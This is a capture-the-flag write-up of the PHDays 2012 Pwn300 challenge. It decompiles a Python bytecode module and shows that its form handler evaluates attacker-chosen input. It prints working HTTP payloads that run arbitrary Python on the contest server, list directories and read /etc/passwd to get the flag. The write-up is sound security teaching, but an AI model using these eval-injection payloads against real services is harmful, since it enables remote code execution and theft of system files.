Posted on by and filed under PHDays 2012.

Pwn300 was a Python Twisted site that served a page with a single form to kill, arrest, or bankrupt the kids of South Park. The organizers provided the source code for the challenge, which included the web service and a compiled Python module. The source to the page tells us that the flag is in /etc/passwd.

South Park

Since we can download the source to the web server, there’s not much use in concentrating on the web page. Looking inside web.py, we can see that the render_POST function in the Simple resource contains an attack vector in a call to process.process().

    def render_POST(self, request):
        import process 
        addition = "<br>"
        addition += process.process(request.args)
        response = addition
        return response


process.pyc is compiled Python bytecode, and the magic number at the beginning of the file tells us that it’s for Python 2.6. uncompyle and related Python tools don’t work, so I resorted to installing Python 2.6 and prying it open with Python’s built-in disassembler. Reversing the VM instructions gives us this code.

# pwn300 reassembly
import types

def arrest(name):
    return '%s was arrested' % name

def bankrupt(name):
    return '%s was bankrupted' % name
    
def kill(name):
    return '%s was killed' % name

def process(args):
    # sample input: process({'actions': ['kill', 'arrest', 'bankrupt'],
    #                        'human': ['Kenny'], 'choice': ['x00']})
    
    actions = tuple(args['actions'])
    choice = args['choice'][0]
    human = args['human'][0]
    create_function('myfunc', 0, choice, actions, human)()

def create_function(name, args_count, choice, actions, human):
    # sample input: create_function('derp', 0, 'x01',
    #                               ('kill', 'arrest', 'bankrupt'), 'Kenny')
    
    y = 'code object loaded from the abyss'
    code = 't' + choice
    consts = (None, human)
    names = actions
    fun = [args_count, 
           y.func_code.co_nlocals,
           y.func_code.co_stacksize,
           y.func_code.co_flags,
           code,
           consts,
           names,
           y.func_code.co_varnames,
           y.func_code.co_filename,
           name,
           y.func_code.co_firstlineno,
           y.func_code.co_lnotab]
    y_code = types.CodeType(*fun)
    return types.FunctionType(y_code, y.func_globals, name)


With a bit of messing around and a bit of knowledge of Python internals, create_function() effectively does the following.

def create_function(name, choice, actions, human):
    choice = int(choice)

    function = eval(actions[choice])
    argument = human

    return func(argument)


So with the power of arbitrary execution at our fingertips, we now test our findings and explore the Python installation, checking to see if there’s anything more to the challenge, like permissions troubles. (toggle line wrap!)

&gt;&gt;&gt; from urllib2 import urlopen
&gt;&gt;&gt; urlopen('http://localhost:2137/', b'''&amp;actions=eval&amp;actions=arrest&amp;actions=bankrupt&amp;human=str(open)&amp;choice=%00''', timeout=5).read()
'<br>'
&gt;&gt;&gt; urlopen('http://ctf.phdays.com:2137/', b'''&amp;actions=eval&amp;actions=arrest&amp;actions=bankrupt&amp;human=str(__import__('posix').uname())&amp;choice=%00''', timeout=5).read()
"<br>('FreeBSD', 'QJAIL6', '9.0-RELEASE-p5', 'FreeBSD 9.0-RELEASE-p5 #1: Mon Dec 10 12:14:02 MSK 2012 [email protected]:/usr/obj/usr/src/sys/ROOT', 'i386')"
&gt;&gt;&gt; urlopen('http://ctf.phdays.com:2137/', b'''&amp;actions=eval&amp;actions=arrest&amp;actions=bankrupt&amp;human=str(__import__('os').listdir('.'))&amp;choice=%00''', timeout=5).read()
"<br>['bin', 'boot', 'dev', 'etc', 'lib', 'libexec', 'media', 'mnt', 'proc', 'rescue', 'root', 'sbin', 'tmp', 'usr', 'var', 'sys', '.profile', '.cshrc', 'COPYRIGHT', 'service.sh']"


There obviously isn’t, so we go straight for the jugular and get the key.

&gt;&gt;&gt; urlopen('http://ctf.phdays.com:2137/', b'''&amp;actions=eval&amp;actions=arrest&amp;actions=bankrupt&amp;human=str(open('/etc/passwd').read())&amp;choice=%00''', timeout=5).readlines()

['# $FreeBSD: src/etc/master.passwd,v 1.42.2.1.2.2 2012/11/17 08:36:10 svnexp Exp $n',
'#n',
'root:*:0:0:Charlie &amp; flag -&gt; d9301a72ee12eabb2b913398a3fab50b:/root:/bin/cshn',
'toor:*:0:0:Bourne-again Superuser:/root:n',
'daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologinn',
'operator:*:2:5:System &amp;:/:/usr/sbin/nologinn',
'bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologinn',
'tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologinn',
'kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologinn',
'games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologinn',
'news:*:8:8:News Subsystem:/:/usr/sbin/nologinn',
'man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologinn',
'sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologinn',
'smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologinn',
'mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologinn',
'bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologinn',
'proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologinn',
'_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologinn',
'_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologinn',
'uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucicon',
'pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologinn',
'www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologinn',
'hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologinn',
'nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologinn',
'phdays:*:1001:1001:User &amp;:/home/phdays:/bin/shn']


The flag is d9301a72ee12eabb2b913398a3fab50b.

Credits: Mark Ignacio, Jonathan Singer